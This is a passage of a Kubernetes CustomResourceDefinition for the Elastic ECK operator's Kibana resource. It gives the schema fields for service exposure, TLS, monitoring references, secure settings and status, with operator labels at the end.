https://kubernetes.io/docs/tasks/access-application-cluster/create-external-load-balancer/","items":{"type":"string"},"type":"array","x-kubernetes-list-type":"atomic"},"ports":{"description":"The list of ports that are exposed by this service.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies","items":{"description":"ServicePort contains information on service's port.","properties":{"appProtocol":{"description":"The application protocol for this port.\nThis is used as a hint for implementations to offer richer behavior for protocols that they understand.\nThis field follows standard Kubernetes label syntax.\nValid values are either:\n\n\n* Un-prefixed protocol names - reserved for IANA standard service names (as per\nRFC-6335 and https://www.iana.org/assignments/service-names).\n\n\n* Kubernetes-defined prefixed names:\n  * 'kubernetes.io/h2c' - HTTP/2 prior knowledge over cleartext as described in https://www.rfc-editor.org/rfc/rfc9113.html#name-starting-http-2-with-prior-\n  * 'kubernetes.io/ws'  - WebSocket over cleartext as described in https://www.rfc-editor.org/rfc/rfc6455\n  * 'kubernetes.io/wss' - WebSocket over TLS as described in https://www.rfc-editor.org/rfc/rfc6455\n\n\n* Other protocols should use implementation-defined prefixed names such as\nmycompany.com/my-custom-protocol.","type":"string"},"name":{"description":"The name of this port within the service. This must be a DNS_LABEL.\nAll ports within a ServiceSpec must have unique names. When considering\nthe endpoints for a Service, this must match the 'name' field in the\nEndpointPort.\nOptional if only one ServicePort is defined on this service.","type":"string"},"nodePort":{"description":"The port on each node on which this service is exposed when type is\nNodePort or LoadBalancer.  Usually assigned by the system. If a value is\nspecified, in-range, and not in use it will be used, otherwise the\noperation will fail.  If not specified, a port will be allocated if this\nService requires one.  If this field is specified when creating a\nService which does not need it, creation will fail. This field will be\nwiped when updating a Service to no longer need it (e.g. changing type\nfrom NodePort to ClusterIP).\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#type-nodeport","format":"int32","type":"integer"},"port":{"description":"The port that will be exposed by this service.","format":"int32","type":"integer"},"protocol":{"default":"TCP","description":"The IP protocol for this port. Supports \"TCP\", \"UDP\", and \"SCTP\".\nDefault is TCP.","type":"string"},"targetPort":{"anyOf":[{"type":"integer"},{"type":"string"}],"description":"Number or name of the port to access on the pods targeted by the service.\nNumber must be in the range 1 to 65535. Name must be an IANA_SVC_NAME.\nIf this is a string, it will be looked up as a named port in the\ntarget Pod's container ports. If this is not specified, the value\nof the 'port' field is used (an identity map).\nThis field is ignored for services with clusterIP=None, and should be\nomitted or set equal to the 'port' field.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#defining-a-service","x-kubernetes-int-or-string":true}},"required":["port"],"type":"object"},"type":"array","x-kubernetes-list-map-keys":["port","protocol"],"x-kubernetes-list-type":"map"},"publishNotReadyAddresses":{"description":"publishNotReadyAddresses indicates that any agent which deals with endpoints for this\nService should disregard any indications of ready/not-ready.\nThe primary use case for setting this field is for a StatefulSet's Headless Service to\npropagate SRV DNS records for its Pods for the purpose of peer discovery.\nThe Kubernetes controllers that generate Endpoints and EndpointSlice resources for\nServices interpret this to mean that all endpoints are considered \"ready\" even if the\nPods themselves are not. Agents which consume only Kubernetes generated endpoints\nthrough the Endpoints or EndpointSlice resources can safely assume this behavior.","type":"boolean"},"selector":{"additionalProperties":{"type":"string"},"description":"Route service traffic to pods with label keys and values matching this\nselector. If empty or not present, the service is assumed to have an\nexternal process managing its endpoints, which Kubernetes will not\nmodify. Only applies to types ClusterIP, NodePort, and LoadBalancer.\nIgnored if type is ExternalName.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/","type":"object","x-kubernetes-map-type":"atomic"},"sessionAffinity":{"description":"Supports \"ClientIP\" and \"None\". Used to maintain session affinity.\nEnable client IP based session affinity.\nMust be ClientIP or None.\nDefaults to None.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies","type":"string"},"sessionAffinityConfig":{"description":"sessionAffinityConfig contains the configurations of session affinity.","properties":{"clientIP":{"description":"clientIP contains the configurations of Client IP based session affinity.","properties":{"timeoutSeconds":{"description":"timeoutSeconds specifies the seconds of ClientIP type session sticky time.\nThe value must be \u003e0 \u0026\u0026 \u003c=86400(for 1 day) if ServiceAffinity == \"ClientIP\".\nDefault value is 10800(for 3 hours).","format":"int32","type":"integer"}},"type":"object"}},"type":"object"},"trafficDistribution":{"description":"TrafficDistribution offers a way to express preferences for how traffic is\ndistributed to Service endpoints. Implementations can use this field as a\nhint, but are not required to guarantee strict adherence. If the field is\nnot set, the implementation will apply its default routing strategy. If set\nto \"PreferClose\", implementations should prioritize endpoints that are\ntopologically close (e.g., same zone).\nThis is an alpha field and requires enabling ServiceTrafficDistribution feature.","type":"string"},"type":{"description":"type determines how the Service is exposed. Defaults to ClusterIP. Valid\noptions are ExternalName, ClusterIP, NodePort, and LoadBalancer.\n\"ClusterIP\" allocates a cluster-internal IP address for load-balancing\nto endpoints. Endpoints are determined by the selector or if that is not\nspecified, by manual construction of an Endpoints object or\nEndpointSlice objects. If clusterIP is \"None\", no virtual IP is\nallocated and the endpoints are published as a set of endpoints rather\nthan a virtual IP.\n\"NodePort\" builds on ClusterIP and allocates a port on every node which\nroutes to the same endpoints as the clusterIP.\n\"LoadBalancer\" builds on NodePort and creates an external load-balancer\n(if supported in the current cloud) which routes to the same endpoints\nas the clusterIP.\n\"ExternalName\" aliases this service to the specified externalName.\nSeveral other fields do not apply to ExternalName services.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#publishing-services-service-types","type":"string"}},"type":"object"}},"type":"object"},"tls":{"description":"TLS defines options for configuring TLS for HTTP.","properties":{"certificate":{"description":"Certificate is a reference to a Kubernetes secret that contains the certificate and private key for enabling TLS.\nThe referenced secret should contain the following:\n\n\n- `ca.crt`: The certificate authority (optional).\n- `tls.crt`: The certificate (or a chain).\n- `tls.key`: The private key to the first certificate in the certificate chain.","properties":{"secretName":{"description":"SecretName is the name of the secret.","type":"string"}},"type":"object"},"selfSignedCertificate":{"description":"SelfSignedCertificate allows configuring the self-signed certificate generated by the operator.","properties":{"disabled":{"description":"Disabled indicates that the provisioning of the self-signed certifcate should be disabled.","type":"boolean"},"subjectAltNames":{"description":"SubjectAlternativeNames is a list of SANs to include in the generated HTTP TLS certificate.","items":{"description":"SubjectAlternativeName represents a SAN entry in a x509 certificate.","properties":{"dns":{"description":"DNS is the DNS name of the subject.","type":"string"},"ip":{"description":"IP is the IP address of the subject.","type":"string"}},"type":"object"},"type":"array"}},"type":"object"}},"type":"object"}},"type":"object"},"image":{"description":"Image is the Kibana Docker image to deploy.","type":"string"},"monitoring":{"description":"Monitoring enables you to collect and ship log and monitoring data of this Kibana.\nSee https://www.elastic.co/guide/en/kibana/current/xpack-monitoring.html.\nMetricbeat and Filebeat are deployed in the same Pod as sidecars and each one sends data to one or two different\nElasticsearch monitoring clusters running in the same Kubernetes cluster.","properties":{"logs":{"description":"Logs holds references to Elasticsearch clusters which receive log data from an associated resource.","properties":{"elasticsearchRefs":{"description":"ElasticsearchRefs is a reference to a list of monitoring Elasticsearch clusters running in the same Kubernetes cluster.\nDue to existing limitations, only a single Elasticsearch cluster is currently supported.","items":{"description":"ObjectSelector defines a reference to a Kubernetes object which can be an Elastic resource managed by the operator\nor a Secret describing an external Elastic resource not managed by the operator.","properties":{"name":{"description":"Name of an existing Kubernetes object corresponding to an Elastic resource managed by ECK.","type":"string"},"namespace":{"description":"Namespace of the Kubernetes object. If empty, defaults to the current namespace.","type":"string"},"secretName":{"description":"SecretName is the name of an existing Kubernetes secret that contains connection information for associating an\nElastic resource not managed by the operator. The referenced secret must contain the following:\n- `url`: the URL to reach the Elastic resource\n- `username`: the username of the user to be authenticated to the Elastic resource\n- `password`: the password of the user to be authenticated to the Elastic resource\n- `ca.crt`: the CA certificate in PEM format (optional)\n- `api-key`: the key to authenticate against the Elastic resource instead of a username and password (supported only for `elasticsearchRefs` in AgentSpec and in BeatSpec)\nThis field cannot be used in combination with the other fields name, namespace or serviceName.","type":"string"},"serviceName":{"description":"ServiceName is the name of an existing Kubernetes service which is used to make requests to the referenced\nobject. It has to be in the same namespace as the referenced resource. If left empty, the default HTTP service of\nthe referenced resource is used.","type":"string"}},"type":"object"},"type":"array"}},"type":"object"},"metrics":{"description":"Metrics holds references to Elasticsearch clusters which receive monitoring data from this resource.","properties":{"elasticsearchRefs":{"description":"ElasticsearchRefs is a reference to a list of monitoring Elasticsearch clusters running in the same Kubernetes cluster.\nDue to existing limitations, only a single Elasticsearch cluster is currently supported.","items":{"description":"ObjectSelector defines a reference to a Kubernetes object which can be an Elastic resource managed by the operator\nor a Secret describing an external Elastic resource not managed by the operator.","properties":{"name":{"description":"Name of an existing Kubernetes object corresponding to an Elastic resource managed by ECK.","type":"string"},"namespace":{"description":"Namespace of the Kubernetes object. If empty, defaults to the current namespace.","type":"string"},"secretName":{"description":"SecretName is the name of an existing Kubernetes secret that contains connection information for associating an\nElastic resource not managed by the operator. The referenced secret must contain the following:\n- `url`: the URL to reach the Elastic resource\n- `username`: the username of the user to be authenticated to the Elastic resource\n- `password`: the password of the user to be authenticated to the Elastic resource\n- `ca.crt`: the CA certificate in PEM format (optional)\n- `api-key`: the key to authenticate against the Elastic resource instead of a username and password (supported only for `elasticsearchRefs` in AgentSpec and in BeatSpec)\nThis field cannot be used in combination with the other fields name, namespace or serviceName.","type":"string"},"serviceName":{"description":"ServiceName is the name of an existing Kubernetes service which is used to make requests to the referenced\nobject. It has to be in the same namespace as the referenced resource. If left empty, the default HTTP service of\nthe referenced resource is used.","type":"string"}},"type":"object"},"type":"array"}},"type":"object"}},"type":"object"},"podTemplate":{"description":"PodTemplate provides customisation options (labels, annotations, affinity rules, resource requests, and so on) for the Kibana pods","type":"object","x-kubernetes-preserve-unknown-fields":true},"revisionHistoryLimit":{"description":"RevisionHistoryLimit is the number of revisions to retain to allow rollback in the underlying Deployment.","format":"int32","type":"integer"},"secureSettings":{"description":"SecureSettings is a list of references to Kubernetes secrets containing sensitive configuration options for Kibana.","items":{"description":"SecretSource defines a data source based on a Kubernetes Secret.","properties":{"entries":{"description":"Entries define how to project each key-value pair in the secret to filesystem paths.\nIf not defined, all keys will be projected to similarly named paths in the filesystem.\nIf defined, only the specified keys will be projected to the corresponding paths.","items":{"description":"KeyToPath defines how to map a key in a Secret object to a filesystem path.","properties":{"key":{"description":"Key is the key contained in the secret.","type":"string"},"path":{"description":"Path is the relative file path to map the key to.\nPath must not be an absolute file path and must not contain any \"..\" components.","type":"string"}},"required":["key"],"type":"object"},"type":"array"},"secretName":{"description":"SecretName is the name of the secret.","type":"string"}},"required":["secretName"],"type":"object"},"type":"array"},"serviceAccountName":{"description":"ServiceAccountName is used to check access from the current resource to a resource (for ex. Elasticsearch) in a different namespace.\nCan only be used if ECK is enforcing RBAC on references.","type":"string"},"version":{"description":"Version of Kibana.","type":"string"}},"required":["version"],"type":"object"},"status":{"description":"KibanaStatus defines the observed state of Kibana","properties":{"associationStatus":{"description":"AssociationStatus is the status of any auto-linking to Elasticsearch clusters.\nThis field is deprecated and will be removed in a future release. Use ElasticsearchAssociationStatus instead.","type":"string"},"availableNodes":{"description":"AvailableNodes is the number of available replicas in the deployment.","format":"int32","type":"integer"},"count":{"description":"Count corresponds to Scale.Status.Replicas, which is the actual number of observed instances of the scaled object.","format":"int32","type":"integer"},"elasticsearchAssociationStatus":{"description":"ElasticsearchAssociationStatus is the status of any auto-linking to Elasticsearch clusters.","type":"string"},"enterpriseSearchAssociationStatus":{"description":"EnterpriseSearchAssociationStatus is the status of any auto-linking to Enterprise Search.","type":"string"},"health":{"description":"Health of the deployment.","type":"string"},"monitoringAssociationStatus":{"additionalProperties":{"description":"AssociationStatus is the status of an association resource.","type":"string"},"description":"MonitoringAssociationStatus is the status of any auto-linking to monitoring Elasticsearch clusters.","type":"object"},"observedGeneration":{"description":"ObservedGeneration is the most recent generation observed for this Kibana instance.\nIt corresponds to the metadata generation, which is updated on mutation by the API Server.\nIf the generation observed in status diverges from the generation in metadata, the Kibana\ncontroller has not yet processed the changes contained in the Kibana specification.","format":"int64","type":"integer"},"selector":{"description":"Selector is the label selector used to find all pods.","type":"string"},"version":{"description":"Version of the stack resource currently running. During version upgrades, multiple versions may run\nin parallel: this value specifies the lowest version currently running.","type":"string"}},"type":"object"}},"type":"object"}},"served":true,"storage":true,"subresources":{"scale":{"labelSelectorPath":".status.selector","specReplicasPath":".spec.count","statusReplicasPath":".status.count"},"status":{}}},{"additionalPrinterColumns":[{"jsonPath":".status.health","name":"health","type":"string"},{"description":"Available nodes","jsonPath":".status.availableNodes","name":"nodes","type":"integer"},{"description":"Kibana version","jsonPath":".spec.version","name":"version","type":"string"},{"jsonPath":".metadata.creationTimestamp","name":"age","type":"date"}],"name":"v1beta1","schema":{"openAPIV3Schema":{"description":"Kibana represents a Kibana resource in a Kubernetes cluster.","properties":{"apiVersion":{"description":"APIVersion defines the versioned schema of this representation of an object.\nServers should convert recognized schemas to the latest internal value, and\nmay reject unrecognized values.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources","type":"string"},"kind":{"description":"Kind is a string value representing the REST resource this object represents.\nServers may infer this from the endpoint the client submits requests to.\nCannot be updated.\nIn CamelCase.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds","type":"string"},"metadata":{"type":"object"},"spec":{"description":"KibanaSpec holds the specification of a Kibana instance.","properties":{"config":{"description":"Config holds the Kibana configuration. See: https://www.elastic.co/guide/en/kibana/current/settings.html","type":"object","x-kubernetes-preserve-unknown-fields":true},"count":{"description":"Count of Kibana instances to deploy.","format":"int32","type":"integer"},"elasticsearchRef":{"description":"ElasticsearchRef is a reference to an Elasticsearch cluster running in the same Kubernetes cluster.","properties":{"name":{"description":"Name of the Kubernetes object.","type":"string"},"namespace":{"description":"Namespace of the Kubernetes object. If empty, defaults to the current namespace.","type":"string"}},"required":["name"],"type":"object"},"http":{"description":"HTTP holds the HTTP layer configuration for Kibana.","properties":{"service":{"description":"Service defines the template for the associated Kubernetes Service object.","properties":{"metadata":{"description":"ObjectMeta is the metadata of the service.\nThe name and namespace provided here are managed by ECK and will be ignored.","properties":{"annotations":{"additionalProperties":{"type":"string"},"type":"object"},"finalizers":{"items":{"type":"string"},"type":"array"},"labels":{"additionalProperties":{"type":"string"},"type":"object"},"name":{"type":"string"},"namespace":{"type":"string"}},"type":"object"},"spec":{"description":"Spec is the specification of the service.","properties":{"allocateLoadBalancerNodePorts":{"description":"allocateLoadBalancerNodePorts defines if NodePorts will be automatically\nallocated for services with type LoadBalancer.  Default is \"true\". It\nmay be set to \"false\" if the cluster load-balancer does not rely on\nNodePorts.  If the caller requests specific NodePorts (by specifying a\nvalue), those requests will be respected, regardless of this field.\nThis field may only be set for services with type LoadBalancer and will\nbe cleared if the type is changed to any other type.","type":"boolean"},"clusterIP":{"description":"clusterIP is the IP address of the service and is usually assigned\nrandomly. If an address is specified manually, is in-range (as per\nsystem configuration), and is not in use, it will be allocated to the\nservice; otherwise creation of the service will fail. This field may not\nbe changed through updates unless the type field is also being changed\nto ExternalName (which requires this field to be blank) or the type\nfield is being changed from ExternalName (in which case this field may\noptionally be specified, as describe above).  Valid values are \"None\",\nempty string (\"\"), or a valid IP address. Setting this to \"None\" makes a\n\"headless service\" (no virtual IP), which is useful when direct endpoint\nconnections are preferred and proxying is not required.  Only applies to\ntypes ClusterIP, NodePort, and LoadBalancer. If this field is specified\nwhen creating a Service of type ExternalName, creation will fail. This\nfield will be wiped when updating a Service to type ExternalName.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies","type":"string"},"clusterIPs":{"description":"ClusterIPs is a list of IP addresses assigned to this service, and are\nusually assigned randomly.  If an address is specified manually, is\nin-range (as per system configuration), and is not in use, it will be\nallocated to the service; otherwise creation of the service will fail.\nThis field may not be changed through updates unless the type field is\nalso being changed to ExternalName (which requires this field to be\nempty) or the type field is being changed from ExternalName (in which\ncase this field may optionally be specified, as describe above).  Valid\nvalues are \"None\", empty string (\"\"), or a valid IP address.  Setting\nthis to \"None\" makes a \"headless service\" (no virtual IP), which is\nuseful when direct endpoint connections are preferred and proxying is\nnot required.  Only applies to types ClusterIP, NodePort, and\nLoadBalancer. If this field is specified when creating a Service of type\nExternalName, creation will fail. This field will be wiped when updating\na Service to type ExternalName.  If this field is not specified, it will\nbe initialized from the clusterIP field.  If this field is specified,\nclients must ensure that clusterIPs[0] and clusterIP have the same\nvalue.\n\n\nThis field may hold a maximum of two entries (dual-stack IPs, in either order).\nThese IPs must correspond to the values of the ipFamilies field. Both\nclusterIPs and ipFamilies are governed by the ipFamilyPolicy field.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies","items":{"type":"string"},"type":"array","x-kubernetes-list-type":"atomic"},"externalIPs":{"description":"externalIPs is a list of IP addresses for which nodes in the cluster\nwill also accept traffic for this service.  These IPs are not managed by\nKubernetes.  The user is responsible for ensuring that traffic arrives\nat a node with this IP.  A common example is external load-balancers\nthat are not part of the Kubernetes system.","items":{"type":"string"},"type":"array","x-kubernetes-list-type":"atomic"},"externalName":{"description":"externalName is the external reference that discovery mechanisms will\nreturn as an alias for this service (e.g. a DNS CNAME record). No\nproxying will be involved.  Must be a lowercase RFC-1123 hostname\n(https://tools.ietf.org/html/rfc1123) and requires `type` to be \"ExternalName\".","type":"string"},"externalTrafficPolicy":{"description":"externalTrafficPolicy describes how nodes distribute service traffic they\nreceive on one of the Service's \"externally-facing\" addresses (NodePorts,\nExternalIPs, and LoadBalancer IPs). If set to \"Local\", the proxy will configure\nthe service in a way that assumes that external load balancers will take care\nof balancing the service traffic between nodes, and so each node will deliver\ntraffic only to the node-local endpoints of the service, without masquerading\nthe client source IP. (Traffic mistakenly sent to a node with no endpoints will\nbe dropped.) The default value, \"Cluster\", uses the standard behavior of\nrouting to all endpoints evenly (possibly modified by topology and other\nfeatures). Note that traffic sent to an External IP or LoadBalancer IP from\nwithin the cluster will always get \"Cluster\" semantics, but clients sending to\na NodePort from within the cluster may need to take traffic policy into account\nwhen picking a node.","type":"string"},"healthCheckNodePort":{"description":"healthCheckNodePort specifies the healthcheck nodePort for the service.\nThis only applies when type is set to LoadBalancer and\nexternalTrafficPolicy is set to Local. If a value is specified, is\nin-range, and is not in use, it will be used.  If not specified, a value\nwill be automatically allocated.  External systems (e.g. load-balancers)\ncan use this port to determine if a given node holds endpoints for this\nservice or not.  If this field is specified when creating a Service\nwhich does not need it, creation will fail. This field will be wiped\nwhen updating a Service to no longer need it (e.g. changing type).\nThis field cannot be updated once set.","format":"int32","type":"integer"},"internalTrafficPolicy":{"description":"InternalTrafficPolicy describes how nodes distribute service traffic they\nreceive on the ClusterIP. If set to \"Local\", the proxy will assume that pods\nonly want to talk to endpoints of the service on the same node as the pod,\ndropping the traffic if there are no local endpoints. The default value,\n\"Cluster\", uses the standard behavior of routing to all endpoints evenly\n(possibly modified by topology and other features).","type":"string"},"ipFamilies":{"description":"IPFamilies is a list of IP families (e.g. IPv4, IPv6) assigned to this\nservice. This field is usually assigned automatically based on cluster\nconfiguration and the ipFamilyPolicy field. If this field is specified\nmanually, the requested family is available in the cluster,\nand ipFamilyPolicy allows it, it will be used; otherwise creation of\nthe service will fail. This field is conditionally mutable: it allows\nfor adding or removing a secondary IP family, but it does not allow\nchanging the primary IP family of the Service. Valid values are \"IPv4\"\nand \"IPv6\".  This field only applies to Services of types ClusterIP,\nNodePort, and LoadBalancer, and does apply to \"headless\" services.\nThis field will be wiped when updating a Service to type ExternalName.\n\n\nThis field may hold a maximum of two entries (dual-stack families, in\neither order).  These families must correspond to the values of the\nclusterIPs field, if specified. Both clusterIPs and ipFamilies are\ngoverned by the ipFamilyPolicy field.","items":{"description":"IPFamily represents the IP Family (IPv4 or IPv6). This type is used\nto express the family of an IP expressed by a type (e.g. service.spec.ipFamilies).","type":"string"},"type":"array","x-kubernetes-list-type":"atomic"},"ipFamilyPolicy":{"description":"IPFamilyPolicy represents the dual-stack-ness requested or required by\nthis Service. If there is no value provided, then this field will be set\nto SingleStack. Services can be \"SingleStack\" (a single IP family),\n\"PreferDualStack\" (two IP families on dual-stack configured clusters or\na single IP family on single-stack clusters), or \"RequireDualStack\"\n(two IP families on dual-stack configured clusters, otherwise fail). The\nipFamilies and clusterIPs fields depend on the value of this field. This\nfield will be wiped when updating a service to type ExternalName.","type":"string"},"loadBalancerClass":{"description":"loadBalancerClass is the class of the load balancer implementation this Service belongs to.\nIf specified, the value of this field must be a label-style identifier, with an optional prefix,\ne.g. \"internal-vip\" or \"example.com/internal-vip\". Unprefixed names are reserved for end-users.\nThis field can only be set when the Service type is 'LoadBalancer'. If not set, the default load\nbalancer implementation is used, today this is typically done through the cloud provider integration,\nbut should apply for any default implementation. If set, it is assumed that a load balancer\nimplementation is watching for Services with a matching class. Any default load balancer\nimplementation (e.g. cloud providers) should ignore Services that set this field.\nThis field can only be set when creating or updating a Service to type 'LoadBalancer'.\nOnce set, it can not be changed. This field will be wiped when a service is updated to a non 'LoadBalancer' type.","type":"string"},"loadBalancerIP":{"description":"Only applies to Service Type: LoadBalancer.\nThis feature depends on whether the underlying cloud-provider supports specifying\nthe loadBalancerIP when a load balancer is created.\nThis field will be ignored if the cloud-provider does not support the feature.\nDeprecated: This field was under-specified and its meaning varies across implementations.\nUsing it is non-portable and it may not support dual-stack.\nUsers are encouraged to use implementation-specific annotations when available.","type":"string"},"loadBalancerSourceRanges":{"description":"If specified and supported by the platform, this will restrict traffic through the cloud-provider\nload-balancer will be restricted to the specified client IPs. This field will be ignored if the\ncloud-provider does not support the feature.\"\nMore info: https://kubernetes.io/docs/tasks/access-application-cluster/create-external-load-balancer/","items":{"type":"string"},"type":"array","x-kubernetes-list-type":"atomic"},"ports":{"description":"The list of ports that are exposed by this service.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies","items":{"description":"ServicePort contains information on service's port.","properties":{"appProtocol":{"description":"The application protocol for this port.\nThis is used as a hint for implementations to offer richer behavior for protocols that they understand.\nThis field follows standard Kubernetes label syntax.\nValid values are either:\n\n\n* Un-prefixed protocol names - reserved for IANA standard service names (as per\nRFC-6335 and https://www.iana.org/assignments/service-names).\n\n\n* Kubernetes-defined prefixed names:\n  * 'kubernetes.io/h2c' - HTTP/2 prior knowledge over cleartext as described in https://www.rfc-editor.org/rfc/rfc9113.html#name-starting-http-2-with-prior-\n  * 'kubernetes.io/ws'  - WebSocket over cleartext as described in https://www.rfc-editor.org/rfc/rfc6455\n  * 'kubernetes.io/wss' - WebSocket over TLS as described in https://www.rfc-editor.org/rfc/rfc6455\n\n\n* Other protocols should use implementation-defined prefixed names such as\nmycompany.com/my-custom-protocol.","type":"string"},"name":{"description":"The name of this port within the service. This must be a DNS_LABEL.\nAll ports within a ServiceSpec must have unique names. When considering\nthe endpoints for a Service, this must match the 'name' field in the\nEndpointPort.\nOptional if only one ServicePort is defined on this service.","type":"string"},"nodePort":{"description":"The port on each node on which this service is exposed when type is\nNodePort or LoadBalancer.  Usually assigned by the system. If a value is\nspecified, in-range, and not in use it will be used, otherwise the\noperation will fail.  If not specified, a port will be allocated if this\nService requires one.  If this field is specified when creating a\nService which does not need it, creation will fail. This field will be\nwiped when updating a Service to no longer need it (e.g. changing type\nfrom NodePort to ClusterIP).\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#type-nodeport","format":"int32","type":"integer"},"port":{"description":"The port that will be exposed by this service.","format":"int32","type":"integer"},"protocol":{"default":"TCP","description":"The IP protocol for this port. Supports \"TCP\", \"UDP\", and \"SCTP\".\nDefault is TCP.","type":"string"},"targetPort":{"anyOf":[{"type":"integer"},{"type":"string"}],"description":"Number or name of the port to access on the pods targeted by the service.\nNumber must be in the range 1 to 65535. Name must be an IANA_SVC_NAME.\nIf this is a string, it will be looked up as a named port in the\ntarget Pod's container ports. If this is not specified, the value\nof the 'port' field is used (an identity map).\nThis field is ignored for services with clusterIP=None, and should be\nomitted or set equal to the 'port' field.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#defining-a-service","x-kubernetes-int-or-string":true}},"required":["port"],"type":"object"},"type":"array","x-kubernetes-list-map-keys":["port","protocol"],"x-kubernetes-list-type":"map"},"publishNotReadyAddresses":{"description":"publishNotReadyAddresses indicates that any agent which deals with endpoints for this\nService should disregard any indications of ready/not-ready.\nThe primary use case for setting this field is for a StatefulSet's Headless Service to\npropagate SRV DNS records for its Pods for the purpose of peer discovery.\nThe Kubernetes controllers that generate Endpoints and EndpointSlice resources for\nServices interpret this to mean that all endpoints are considered \"ready\" even if the\nPods themselves are not. Agents which consume only Kubernetes generated endpoints\nthrough the Endpoints or EndpointSlice resources can safely assume this behavior.","type":"boolean"},"selector":{"additionalProperties":{"type":"string"},"description":"Route service traffic to pods with label keys and values matching this\nselector. If empty or not present, the service is assumed to have an\nexternal process managing its endpoints, which Kubernetes will not\nmodify. Only applies to types ClusterIP, NodePort, and LoadBalancer.\nIgnored if type is ExternalName.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/","type":"object","x-kubernetes-map-type":"atomic"},"sessionAffinity":{"description":"Supports \"ClientIP\" and \"None\". Used to maintain session affinity.\nEnable client IP based session affinity.\nMust be ClientIP or None.\nDefaults to None.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies","type":"string"},"sessionAffinityConfig":{"description":"sessionAffinityConfig contains the configurations of session affinity.","properties":{"clientIP":{"description":"clientIP contains the configurations of Client IP based session affinity.","properties":{"timeoutSeconds":{"description":"timeoutSeconds specifies the seconds of ClientIP type session sticky time.\nThe value must be \u003e0 \u0026\u0026 \u003c=86400(for 1 day) if ServiceAffinity == \"ClientIP\".\nDefault value is 10800(for 3 hours).","format":"int32","type":"integer"}},"type":"object"}},"type":"object"},"trafficDistribution":{"description":"TrafficDistribution offers a way to express preferences for how traffic is\ndistributed to Service endpoints. Implementations can use this field as a\nhint, but are not required to guarantee strict adherence. If the field is\nnot set, the implementation will apply its default routing strategy. If set\nto \"PreferClose\", implementations should prioritize endpoints that are\ntopologically close (e.g., same zone).\nThis is an alpha field and requires enabling ServiceTrafficDistribution feature.","type":"string"},"type":{"description":"type determines how the Service is exposed. Defaults to ClusterIP. Valid\noptions are ExternalName, ClusterIP, NodePort, and LoadBalancer.\n\"ClusterIP\" allocates a cluster-internal IP address for load-balancing\nto endpoints. Endpoints are determined by the selector or if that is not\nspecified, by manual construction of an Endpoints object or\nEndpointSlice objects. If clusterIP is \"None\", no virtual IP is\nallocated and the endpoints are published as a set of endpoints rather\nthan a virtual IP.\n\"NodePort\" builds on ClusterIP and allocates a port on every node which\nroutes to the same endpoints as the clusterIP.\n\"LoadBalancer\" builds on NodePort and creates an external load-balancer\n(if supported in the current cloud) which routes to the same endpoints\nas the clusterIP.\n\"ExternalName\" aliases this service to the specified externalName.\nSeveral other fields do not apply to ExternalName services.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#publishing-services-service-types","type":"string"}},"type":"object"}},"type":"object"},"tls":{"description":"TLS defines options for configuring TLS for HTTP.","properties":{"certificate":{"description":"Certificate is a reference to a Kubernetes secret that contains the certificate and private key for enabling TLS.\nThe referenced secret should contain the following:\n\n\n- `ca.crt`: The certificate authority (optional).\n- `tls.crt`: The certificate (or a chain).\n- `tls.key`: The private key to the first certificate in the certificate chain.","properties":{"secretName":{"description":"SecretName is the name of the secret.","type":"string"}},"type":"object"},"selfSignedCertificate":{"description":"SelfSignedCertificate allows configuring the self-signed certificate generated by the operator.","properties":{"disabled":{"description":"Disabled indicates that the provisioning of the self-signed certifcate should be disabled.","type":"boolean"},"subjectAltNames":{"description":"SubjectAlternativeNames is a list of SANs to include in the generated HTTP TLS certificate.","items":{"description":"SubjectAlternativeName represents a SAN entry in a x509 certificate.","properties":{"dns":{"description":"DNS is the DNS name of the subject.","type":"string"},"ip":{"description":"IP is the IP address of the subject.","type":"string"}},"type":"object"},"type":"array"}},"type":"object"}},"type":"object"}},"type":"object"},"image":{"description":"Image is the Kibana Docker image to deploy.","type":"string"},"podTemplate":{"description":"PodTemplate provides customisation options (labels, annotations, affinity rules, resource requests, and so on) for the Kibana pods","type":"object","x-kubernetes-preserve-unknown-fields":true},"secureSettings":{"description":"SecureSettings is a list of references to Kubernetes secrets containing sensitive configuration options for Kibana.","items":{"description":"SecretSource defines a data source based on a Kubernetes Secret.","properties":{"entries":{"description":"Entries define how to project each key-value pair in the secret to filesystem paths.\nIf not defined, all keys will be projected to similarly named paths in the filesystem.\nIf defined, only the specified keys will be projected to the corresponding paths.","items":{"description":"KeyToPath defines how to map a key in a Secret object to a filesystem path.","properties":{"key":{"description":"Key is the key contained in the secret.","type":"string"},"path":{"description":"Path is the relative file path to map the key to.\nPath must not be an absolute file path and must not contain any \"..\" components.","type":"string"}},"required":["key"],"type":"object"},"type":"array"},"secretName":{"description":"SecretName is the name of the secret.","type":"string"}},"required":["secretName"],"type":"object"},"type":"array"},"version":{"description":"Version of Kibana.","type":"string"}},"type":"object"},"status":{"description":"KibanaStatus defines the observed state of Kibana","properties":{"associationStatus":{"description":"AssociationStatus is the status of an association resource.","type":"string"},"availableNodes":{"format":"int32","type":"integer"},"health":{"description":"KibanaHealth expresses the status of the Kibana instances.","type":"string"}},"type":"object"}},"type":"object"}},"served":true,"storage":false,"subresources":{"status":{}}},{"name":"v1alpha1","schema":{"openAPIV3Schema":{"description":"to not break compatibility when upgrading from previous versions of the CRD","type":"object"}},"served":false,"storage":false}]}}
    creationTimestamp: "2025-09-23T11:56:03Z"
    generation: 1
    labels:
      app.kubernetes.io/instance: elastic-operator
      app.kubernetes.io/name: eck-operator-crds
      app.kubernetes.io/version: 2.14.0
    name: kibanas.kibana.k8s.elastic.co
